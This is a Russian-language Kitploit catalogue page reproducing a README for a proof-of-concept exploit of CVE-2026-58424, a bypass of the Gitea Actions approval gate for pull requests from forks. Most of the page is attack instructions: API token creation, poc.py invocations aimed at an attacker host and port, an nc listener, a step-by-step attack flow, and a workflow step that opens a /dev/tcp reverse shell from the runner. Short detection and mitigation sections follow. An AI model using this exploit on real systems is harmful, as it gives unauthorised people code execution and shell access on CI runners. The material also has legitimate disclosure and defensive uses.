Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-58424 — Уязвимость в логике проверок одобрения (approval‑gate) Gitea, открытого Git‑сервера, позволяет объединять pull request, созданный в постоянном форке, без выполнения настроенных в репозитории правил одобрения. | Kitploit
Инструменты/GitHubGitHub/bridgeralderson/cve-2026-58424
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияRed TeamingРазработка Полезной Нагрузки
GitHubbridgeralderson/cve-2026-58424

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-58424

Уязвимость в логике проверок одобрения (approval‑gate) Gitea, открытого Git‑сервера, позволяет объединять pull request, созданный в постоянном форке, без выполнения настроенных в репозитории правил одобрения.

Репозиторий
251 месяц назадЕщё не проверено

CVE-2026-58424 - Gitea: обход шлюза утверждения рабочих процессов PR из форков

Серьёзность: Высокая (CVSS 8.9) Затронутые версии: Gitea ≤ 1.26.2 Исправлено в: Gitea 1.26.3 Рекомендация: GHSA-777r-4v59-6486


Описание уязвимости

Gitea Actions применяет шлюз утверждения к запускам рабочих процессов, инициированным pull request'ами из форков. Шлюз реализован в ifNeedApproval() и предназначен для того, чтобы недоверенные контрибьюторы не могли выполнять произвольный код через CI-конвейеры.

Недостаток заключается в том, что ifNeedApproval() корректно применяется только к событию pull_request. Каждый тип события, перечисленный в блоке on: рабочего процесса, порождает независимый объект ActionRun с собственной проверкой утверждения. Когда атакующий расширяет блок on:, добавляя такие события, как pull_request_review, issue_comment или pull_request_review_comment, эти запуски выполняются в обход шлюза утверждения.

Инициирование любого из этих незащищённых событий — например, публикация комментария к ревью PR — немедленно запускает рабочий процесс от имени сервисной учётной записи раннера, и одобрение мейнтейнера при этом не требуется.


Первопричина

Функция ifNeedApproval() проверяет утверждение на основе (repo_id, trigger_user_id) для события pull_request, но не применяет эту проверку единообразно ко всем типам событий, которые могут быть инициированы.

Уязвимый путь:

root@kitploit:~
POST /repos/{owner}/{repo}/pulls/{index}/reviews
  -> Gitea creates ActionRun with event=pull_request_review
  -> ifNeedApproval() not called for this event type
  -> Job dispatched to runner immediately

Требования

ТребованиеДетали
Учётная запись GiteaЛюбой аутентифицированный пользователь с разрешением на создание форков
Целевой репозиторийGitea Actions должны быть включены
Раннерact_runner должен быть онлайн и зарегистрирован

Использование PoC

Установка

root@kitploit:~
# Minimum
pip install requests

# For Kerberos/Negotiate auth
pip install requests requests-gssapi

Режим аутентификации 1 - API-токен

Через браузер: Settings -> Applications -> Generate Token Необходимые области доступа: запись в репозиторий + запись в issues.

Через API:

root@kitploit:~
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
  -u "<username>:<password>" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwn","scopes":["write:repository","write:issue"]}'

Запуск:

root@kitploit:~
python3 poc.py \
  --url http://gitea.example.com:3000 \
  --token <token> \
  --target-owner <owner> \
  --target-repo <repo> \
  --lhost <attacker-ip> \
  --lport 4444

Режим аутентификации 2 - Kerberos/Negotiate

Для экземпляров Gitea, принимающих только Kerberos/SPNEGO (среды Active Directory с принудительным применением SSPI). Запуск должен выполняться с хоста, входящего в домен, при наличии действительного TGT.

root@kitploit:~
kinit [email protected]
klist

python3 poc.py \
  --url http://gitea.corp.local:3000 \
  --negotiate \
  --target-owner <owner> \
  --target-repo <repo> \
  --lhost <attacker-ip> \
  --lport 4444

Если разрешение DNS завершается ошибкой, настройте /etc/krb5.conf:

root@kitploit:~
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true
    rdns = false

[realms]
    DOMAIN.LOCAL = {
        kdc = <DC_IP>
        admin_server = <DC_IP>
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

Все параметры

root@kitploit:~
--url               Gitea base URL (required)
--token             API token
--negotiate         Kerberos/SPNEGO auth (kinit first)
--cookie            Session cookie string

--target-owner      Target repo owner (required)
--target-repo       Target repo name (required)
--lhost             Attacker IP for reverse shell (required)
--lport             Attacker port (required)

--runner-label      Runner label to target (default: tries common labels)
--detect-label      Auto-enumerate runner labels before exploiting
--fork-name         Custom fork name (default: <repo>-<random>)
--workflow-name     Custom workflow filename (default: ci-<random>.yml)
--pr-title          Custom PR title (default: random realistic string)
--review-body       Custom review comment (default: random)
--payload-type      bash / python3 / nc / custom (default: bash)
--custom-payload    Shell command (use with --payload-type custom)
--no-cleanup        Leave PR open after exploit
--cleanup-delay     Seconds before cleanup (default: 30)

Слушатель

root@kitploit:~
nc -lvnp 4444

Ход атаки

root@kitploit:~
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
   -> pull_request_review event fires
   -> ifNeedApproval() NOT called
   -> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account

Примечание о жизненном цикле раннера

По умолчанию act_runner работает с одним воркером. Если этап reverse shell не завершится корректно, раннер останется в состоянии «running» и будет игнорировать новые задания.

Чтобы избежать этого, запустите shell в фоне:

root@kitploit:~
- name: run
  run: |
    setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
    sleep 1
    exit 0

Либо используйте --custom-payload, чтобы передать демонизированную однострочную команду напрямую.


Обнаружение

  • Записи ActionRun с event=pull_request_review или event=issue_comment, происходящие из PR форков
  • Файлы рабочих процессов в репозиториях-форках, содержащие триггеры pull_request_review с шагами выполнения shell-команд
  • Неожиданные исходящие подключения с хоста раннера после активности в ревью PR

Устранение

ДействиеОписание
ОбновлениеGitea 1.26.3+ устраняет эту проблему
Обходной путьОтключите Gitea Actions в репозиториях с недоверенными контрибьюторами
АудитПроверяйте PR из форков и связанные запуски рабочих процессов на предмет неожиданного выполнения
ОграничениеОграничьте разрешения на создание форков доверенными пользователями

Ссылки

  • GHSA-777r-4v59-6486
  • NVD - CVE-2026-58424

Отказ от ответственности

Только для авторизованного тестирования безопасности и исследовательских целей. Не используйте против систем без явного письменного разрешения.

Скачать инструмент
СетьХост атакующего должен быть доступен с раннера